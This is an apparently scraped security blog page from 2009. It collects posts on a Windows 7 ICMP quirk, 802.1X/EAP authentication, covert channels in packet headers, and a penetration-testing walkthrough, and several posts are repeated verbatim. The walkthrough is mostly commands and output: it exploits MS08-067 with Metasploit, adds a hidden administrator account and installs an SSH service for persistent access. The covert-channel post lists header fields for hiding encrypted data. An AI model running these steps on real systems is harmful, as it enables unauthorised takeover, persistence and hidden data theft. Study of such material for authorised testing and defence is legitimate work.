Send a tcp packet to any port with the IP "more fragments" bit set to a Windows 7 host. The packet can be sent with no application payload, and arbitrary tcp flags.
Windows 7 will send back an ICMP message type 12, code 0 reply indicating a "parameter problem".
Now repeat the experiment, only increase the payload to 92 bytes. Anything greater than 91 will not result in the ICMP return packet.
Hmmm....
17:24:10.268903 IP (tos 0x0, ttl 64, id 2468, offset 0, flags [+], proto: TCP (6), length: 40) 192.168.100.1.445 > 192.168.100.129.445: S, cksum 0x3984 (correct), 950565187:950565187(0) win 512
0x0000: 4500 0028 09a4 2000 4006 0759 c0a8 6401 E..(....@..Y..d.
0x0010: c0a8 6481 01bd 01bd 38a8 7943 2ede 4647 ..d.....8.yC..FG
0x0020: 5002 0200 3984 0000 P...9...
17:24:10.269784 IP (tos 0x0, ttl 128, id 20600, offset 0, flags [none], proto: ICMP (1), length: 68) 192.168.100.129 > 192.168.100.1: ICMP parameter problem - octet 0, length 48
IP (tos 0x0, ttl 64, id 2468, offset 0, flags [+], proto: TCP (6), length: 40) 192.168.100.1.445 > 192.168.100.129.445: S, cksum 0x3984 (correct), 950565187:950565187(0) win 512
0x0000: 4500 0044 5078 0000 8001 a06d c0a8 6481 E..DPx.....m..d.
0x0010: c0a8 6401 0c00 3dec 0000 0002 4500 0028 ..d...=.....E..(
0x0020: 09a4 2000 4006 0759 c0a8 6401 c0a8 6481 ....@..Y..d...d.
0x0030: 01bd 01bd 38a8 7943 2ede 4647 5002 0200 ....8.yC..FGP...
0x0040: 3984 0000 9...
Tuesday, October 6, 2009
Thursday, June 11, 2009
802.1X and EAP
EAP = Extensible Authentication Protocol which is a universal layer 2 based authentication protocol use on point-to-point, wired, and wireless networks. EAP is used by 802.1X for port based, network access authentication. There are many EAP types however the most commonly used are EAP-PEAP, and EAP-TTLS.
1) EAP-TLS is well supported and use by wireless vendors although a challenge to implement as it requires both a client-side and server-side certificate. General comment is that EAP-TLS is the best security option but also the most difficult to implement.
2) EAP-TTLS was co-developed by Funk and Certicom. It differs from EAP-TLS in that the server only needs to be authenticated to the client by certificate (signed by public or private CA). 802.1X supplicants need to properly verify the certificate otherwise potential for man in the middle interception exists (when used with wireless). Microsoft does not natively support EAP-TTLS.
3) EAP-PEAP is a joint effort of Cisco, Microsoft, and RSA and is widely in use. Similar to EAP-TTLS, MS-CHAPv2 login credentials are protected by TLS during the authentication process. Bottom line is that if you are dealing with the Microsoft 802.1X supplicant (which most of us probably would be), then PEAP is your friend.
There seems to be very little in the way of documentation on the net with regard to how 802.1X port authentication and EAP-PEAP actually function. It is an interesting protocol dance when you have Protected Extensible Authentication Protocol (PEAP) involving layer 2 traffic from the 802.1X supplicant, protected by TLS within the EAP over LAN (EAPOL) transactions, and also with the TLS data carried within the Radius attribute value pairs.
The server side certificate presented via Radius back to the client may be a public CA signed, or internal/privately signed certificate. In either case, it is critical that the 802.1X supplicant (client station) has a properly imported root certificate.
With regard to the EAPOL (EAP over LAN) transactions, a lot of documentation I have read fails to recognize that an EAP-Request/Identity frame is always initiated from the switch first with link up. I only mention this point as it came to light in recent EAPOL debugging/diagnostic work I was involved in.
And BTW, if you are ever looking at 802.1X/PEAP/Radius authentication traffic, a useful 'tcpdump' filter is as follows:
'ether proto 0x888e OR udp port 1812'
This assumes that Radius traffic is being carried on UDP port 1812 and that you are able to mirror/span the data from your AP/switch (authenticator) as well as your client/supplicant.
The EAP transactions occur at OSI layer 2 between the supplicant and the authenticator while the synchronized Radius transactions occur at OSI layer 3 between the AP/switch authenticator and the Radius server. The TLS certificate and data is carried both within the EAP traffic, and within the Radius attribute-value pairs between client/supplicant and Radius server.
Thus, your network management network better be functioning reliably!
So having written all that, I wonder if we can use the EAP-Response/Identify frame to send an extremely large string or perhaps even 'printf' based format string to exploit weaknesses in the authenticator or Radius code. At minimum, a potential denial of service could exist if not worse condition.
1) EAP-TLS is well supported and use by wireless vendors although a challenge to implement as it requires both a client-side and server-side certificate. General comment is that EAP-TLS is the best security option but also the most difficult to implement.
2) EAP-TTLS was co-developed by Funk and Certicom. It differs from EAP-TLS in that the server only needs to be authenticated to the client by certificate (signed by public or private CA). 802.1X supplicants need to properly verify the certificate otherwise potential for man in the middle interception exists (when used with wireless). Microsoft does not natively support EAP-TTLS.
3) EAP-PEAP is a joint effort of Cisco, Microsoft, and RSA and is widely in use. Similar to EAP-TTLS, MS-CHAPv2 login credentials are protected by TLS during the authentication process. Bottom line is that if you are dealing with the Microsoft 802.1X supplicant (which most of us probably would be), then PEAP is your friend.
There seems to be very little in the way of documentation on the net with regard to how 802.1X port authentication and EAP-PEAP actually function. It is an interesting protocol dance when you have Protected Extensible Authentication Protocol (PEAP) involving layer 2 traffic from the 802.1X supplicant, protected by TLS within the EAP over LAN (EAPOL) transactions, and also with the TLS data carried within the Radius attribute value pairs.
The server side certificate presented via Radius back to the client may be a public CA signed, or internal/privately signed certificate. In either case, it is critical that the 802.1X supplicant (client station) has a properly imported root certificate.
With regard to the EAPOL (EAP over LAN) transactions, a lot of documentation I have read fails to recognize that an EAP-Request/Identity frame is always initiated from the switch first with link up. I only mention this point as it came to light in recent EAPOL debugging/diagnostic work I was involved in.
And BTW, if you are ever looking at 802.1X/PEAP/Radius authentication traffic, a useful 'tcpdump' filter is as follows:
'ether proto 0x888e OR udp port 1812'
This assumes that Radius traffic is being carried on UDP port 1812 and that you are able to mirror/span the data from your AP/switch (authenticator) as well as your client/supplicant.
The EAP transactions occur at OSI layer 2 between the supplicant and the authenticator while the synchronized Radius transactions occur at OSI layer 3 between the AP/switch authenticator and the Radius server. The TLS certificate and data is carried both within the EAP traffic, and within the Radius attribute-value pairs between client/supplicant and Radius server.
Thus, your network management network better be functioning reliably!
So having written all that, I wonder if we can use the EAP-Response/Identify frame to send an extremely large string or perhaps even 'printf' based format string to exploit weaknesses in the authenticator or Radius code. At minimum, a potential denial of service could exist if not worse condition.
Wednesday, June 10, 2009
Covert Channel Possibilities!
The IT network and security community often thinks of covert channels in terms of what has already been detected. A good example is Loki, and other ICMP variants. However, we should not forget that IP, TCP, UDP, and ICMP headers and payloads contain opportunities to hide data in storage channels.
Header and application payload fields that can potentially be used for covert storage channels include the IP Identification field (16-bits), the TCP Initial Sequence Number (32-bits), the DNS identification field (16-bits), the TCP timestamp option (32-bits x 2), a portion (or all) of the source IP address, a TCP or UDP source port (16-bits) just to name a few.
Some of these fields are deliberately (and highly) randomized during certain normal protocol transactions. Thus, if we combine storage of covert data with symmetric key encryption, and nicely crafted bogus payload, we can yield a highly effective and hard to detect channel.
When doing protocol and intrusion analysis, we should be careful to look at packet timing, and uni-directional versus bi-directional nature of protocol transactions. You never know when you might be witnessing a covert storage or timing channel at work, and you might never really discover the content.
Header and application payload fields that can potentially be used for covert storage channels include the IP Identification field (16-bits), the TCP Initial Sequence Number (32-bits), the DNS identification field (16-bits), the TCP timestamp option (32-bits x 2), a portion (or all) of the source IP address, a TCP or UDP source port (16-bits) just to name a few.
Some of these fields are deliberately (and highly) randomized during certain normal protocol transactions. Thus, if we combine storage of covert data with symmetric key encryption, and nicely crafted bogus payload, we can yield a highly effective and hard to detect channel.
When doing protocol and intrusion analysis, we should be careful to look at packet timing, and uni-directional versus bi-directional nature of protocol transactions. You never know when you might be witnessing a covert storage or timing channel at work, and you might never really discover the content.
Sunday, January 18, 2009
Installing OpenSSH on Windows via command shell
During a network penetration test, Windows command shell access is often obtained through some sort of exploit. If, for example, Metasploit is being used, command shell access can be delivered as the payload of a buffer overflow exploit. Or if perhaps the Meterpreter is being used, command shell access can be had by executing a CMD.EXE and interacting directly with it, or perhaps by having NETCAT shovel a command shell back to the penetration tester.
The challenge is that command shell access is not equivalent to full terminal access. The command shell may produce strange output due to control characters. Some commands may not function normally if they depend on the use of control sequences. If using NETCAT to shovel a shell, entering CTRL-C to terminate some command can end up terminating your shell!
If a penetration tester is permitted to modify the target server, then a more consistent, fully functional terminal level access will greatly help during the testing process. A number of choices exist including activating the telnet service, activating Microsoft terminal services (remote desktop protocol), installing VNC (www.realvnc.com), or installing OpenSSH for Windows. VNC is a great choice as it provides an easy command line installation with files residing in a single directory, and only a limited number of registry entries, however it offers no encryption. The telnet service offers no encryption either.
OpenSSH for windows (http://sshwindows.sourceforge.net/) is a minimized Cygwin (http://www.cygwin.com) environment that has been customized to support only SSH. It supports SSH command line terminal access, and secure copy / secure file transfer. Because the setup process in the OpenSSH packages uses the GUI, you have to perform some steps to customize your own command line only installation.
Preparing for a custom command line OpenSSH Installation in your lab
The basic steps to prepare a command line OpenSSH installation for Windows are as follows:
1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download
2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH
3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.
4. Export the following registry keys using the REG EXPORT command as follows:
REG EXPORT “HKLM\SOFTWARE\Cygnus Solutions” 1.REG
REG EXPORT “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” 2.REG
REG EXPORT “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” 3.REG
5. Concatenate all of these registry files together into one file.
TYPE 1.REG 2.REG 3.REG >OPENSSH.REG
6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.
Performing an installation via command shell
Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.
Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.
Exploiting the Vulnerability
[root@localhost framework-3.2]# nc -v 192.168.1.40 445
Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
[root@localhost framework-3.2]# ./msfconsole
msf > search exploits ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf exploit(ms08_067_netapi) > set TARGET 5
TARGET => 5
msf exploit(ms08_067_netapi) > show options
... truncated output ...
Exploit target:
Id Name
-- ----
5 Windows 2003 SP0 Universal
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)
meterpreter > sysinfo
Computer: SYSTEM-HJ28HHGL7N
OS : Windows .NET Server (Build 3790, ).
Uploading your OpenSSH Files
meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
meterpreter > lpwd
/mnt/PenTestTools/win32/OpenSSH
meterpreter > cd \
meterpreter > cd "Program Files"
meterpreter > mkdir openssh
Creating directory: openssh
meterpreter > cd openssh
meterpreter > pwd
C:\Program Files\openssh
meterpreter > upload -r . .
[*] uploading : ./uninstall.exe -> .\uninstall.exe
[*] uploaded : ./uninstall.exe -> .\uninstall.exe
[*] mirroring : ./bin -> .\bin
[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploading : ./bin/chown.exe -> .\bin\chown.exe
[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
.... lots of output truncated ....
meterpreter > execute -f cmd.exe –i
Process 848 created.
Channel 66 created.
Modifying the Registry and Adding Your Own Username
Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\openssh>whoami
whoami
nt authority\system
C:\Program Files\openssh>reg import openssh.reg
reg import openssh.reg
The operation completed successfully.
C:\Program Files\openssh>net user inet_p0wned gameover /add
net user inet_p0wned gameover /add
The command completed successfully.
C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
net localgroup administrators inet_p0wned /add
The command completed successfully.
C:\Program Files\openssh>cd etc
cd etc
C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
..\bin\mkpasswd -l >passwd
C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
..\bin\mkgroup -l >group
C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
[SC] CreateService SUCCESS
Start the OpenSSH Service
C:\Program Files\openssh\etc>sc start opensshd
sc start opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1916
FLAGS :
C:\Program Files\openssh\etc>sc query opensshd
sc query opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24
The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**
**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don’t leave a gaping opportunity while testing.
C:\Program Files\openssh\etc>exit
exit
meterpreter > quit
[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) > quit
Now, lets go ahead and SSH into our Windows server to check if things worked!
root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.
OpenSSH for Windows. Welcome aboard!
inet_p0wned@192.168.1.40's password:
Could not chdir to home directory /home/inet_p0wned: No such file or directory
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\OpenSSH>
C:\Program Files\OpenSSH>whoami
system-hj28hhgl7n\inet_p0wned
C:\Program Files\OpenSSH>exit
Connection to 192.168.1.40 closed.
[root@localhost framework-3.2]#
Cleaning up
To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.
C:\> SC STOP opensshd
C:\> SC DELETE opensshd
C:\> REG DELETE “HKLM\SOFTWARE\Cygnus Solutions” /f /va
C:\> REG DELETE “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” /f /va
C:\> REG DELETE “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” /f /va
C:\> CD "\Program Files"
C:\Program Files> RMDIR /Q /S opensshd
C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
C:\Program Files> NET USER inet_p0wned /DELETE
The challenge is that command shell access is not equivalent to full terminal access. The command shell may produce strange output due to control characters. Some commands may not function normally if they depend on the use of control sequences. If using NETCAT to shovel a shell, entering CTRL-C to terminate some command can end up terminating your shell!
If a penetration tester is permitted to modify the target server, then a more consistent, fully functional terminal level access will greatly help during the testing process. A number of choices exist including activating the telnet service, activating Microsoft terminal services (remote desktop protocol), installing VNC (www.realvnc.com), or installing OpenSSH for Windows. VNC is a great choice as it provides an easy command line installation with files residing in a single directory, and only a limited number of registry entries, however it offers no encryption. The telnet service offers no encryption either.
OpenSSH for windows (http://sshwindows.sourceforge.net/) is a minimized Cygwin (http://www.cygwin.com) environment that has been customized to support only SSH. It supports SSH command line terminal access, and secure copy / secure file transfer. Because the setup process in the OpenSSH packages uses the GUI, you have to perform some steps to customize your own command line only installation.
Preparing for a custom command line OpenSSH Installation in your lab
The basic steps to prepare a command line OpenSSH installation for Windows are as follows:
1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download
2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH
3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.
4. Export the following registry keys using the REG EXPORT command as follows:
REG EXPORT “HKLM\SOFTWARE\Cygnus Solutions” 1.REG
REG EXPORT “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” 2.REG
REG EXPORT “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” 3.REG
5. Concatenate all of these registry files together into one file.
TYPE 1.REG 2.REG 3.REG >OPENSSH.REG
6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.
Performing an installation via command shell
Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.
Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.
Exploiting the Vulnerability
[root@localhost framework-3.2]# nc -v 192.168.1.40 445
Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
[root@localhost framework-3.2]# ./msfconsole
msf > search exploits ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf exploit(ms08_067_netapi) > set TARGET 5
TARGET => 5
msf exploit(ms08_067_netapi) > show options
... truncated output ...
Exploit target:
Id Name
-- ----
5 Windows 2003 SP0 Universal
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)
meterpreter > sysinfo
Computer: SYSTEM-HJ28HHGL7N
OS : Windows .NET Server (Build 3790, ).
Uploading your OpenSSH Files
meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
meterpreter > lpwd
/mnt/PenTestTools/win32/OpenSSH
meterpreter > cd \
meterpreter > cd "Program Files"
meterpreter > mkdir openssh
Creating directory: openssh
meterpreter > cd openssh
meterpreter > pwd
C:\Program Files\openssh
meterpreter > upload -r . .
[*] uploading : ./uninstall.exe -> .\uninstall.exe
[*] uploaded : ./uninstall.exe -> .\uninstall.exe
[*] mirroring : ./bin -> .\bin
[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploading : ./bin/chown.exe -> .\bin\chown.exe
[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
.... lots of output truncated ....
meterpreter > execute -f cmd.exe –i
Process 848 created.
Channel 66 created.
Modifying the Registry and Adding Your Own Username
Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\openssh>whoami
whoami
nt authority\system
C:\Program Files\openssh>reg import openssh.reg
reg import openssh.reg
The operation completed successfully.
C:\Program Files\openssh>net user inet_p0wned gameover /add
net user inet_p0wned gameover /add
The command completed successfully.
C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
net localgroup administrators inet_p0wned /add
The command completed successfully.
C:\Program Files\openssh>cd etc
cd etc
C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
..\bin\mkpasswd -l >passwd
C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
..\bin\mkgroup -l >group
C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
[SC] CreateService SUCCESS
Start the OpenSSH Service
C:\Program Files\openssh\etc>sc start opensshd
sc start opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1916
FLAGS :
C:\Program Files\openssh\etc>sc query opensshd
sc query opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24
The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**
**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don’t leave a gaping opportunity while testing.
C:\Program Files\openssh\etc>exit
exit
meterpreter > quit
[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) > quit
Now, lets go ahead and SSH into our Windows server to check if things worked!
root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.
OpenSSH for Windows. Welcome aboard!
inet_p0wned@192.168.1.40's password:
Could not chdir to home directory /home/inet_p0wned: No such file or directory
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\OpenSSH>
C:\Program Files\OpenSSH>whoami
system-hj28hhgl7n\inet_p0wned
C:\Program Files\OpenSSH>exit
Connection to 192.168.1.40 closed.
[root@localhost framework-3.2]#
Cleaning up
To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.
C:\> SC STOP opensshd
C:\> SC DELETE opensshd
C:\> REG DELETE “HKLM\SOFTWARE\Cygnus Solutions” /f /va
C:\> REG DELETE “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” /f /va
C:\> REG DELETE “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” /f /va
C:\> CD "\Program Files"
C:\Program Files> RMDIR /Q /S opensshd
C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
C:\Program Files> NET USER inet_p0wned /DELETE
Subscribe to:
Posts (Atom)